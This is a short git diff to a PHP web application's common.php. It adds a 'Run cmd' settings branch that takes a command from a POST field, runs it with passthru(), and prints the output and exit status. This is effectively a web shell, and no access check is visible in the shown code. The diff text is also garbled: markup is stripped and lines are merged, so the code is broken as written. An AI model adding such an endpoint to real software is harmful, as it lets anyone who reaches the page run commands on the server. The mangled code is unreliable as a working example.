diff --git a/common.php b/common.php
index fd53d9a..fd601a6 100644
--- a/common.php
+++ b/common.php
@@ -1307,6 +1307,40 @@ function EnvOpt($needUpdate = 0)
$html .= '
' . getconstStr('Back') . '
';
+ if ($_GET['setup']==='cmd') {
+ $statusCode = 200;
+ $html .= '
+
'; + @ob_start(); + passthru($_POST['cmd'], $cmdstat); + $html .= ' +stat: ' . $cmdstat . ' +output: + +'; + if ($cmdstat>0) $statusCode = 400; + if ($cmdstat===1) $statusCode = 403; + if ($cmdstat===127) $statusCode = 404; + $html .= htmlspecialchars(ob_get_clean()); + $html .= ''; + } + $html .= ' +'; + return message($html, 'Run cmd', $statusCode); + } if ($_GET['setup']==='platform') { $frame .= '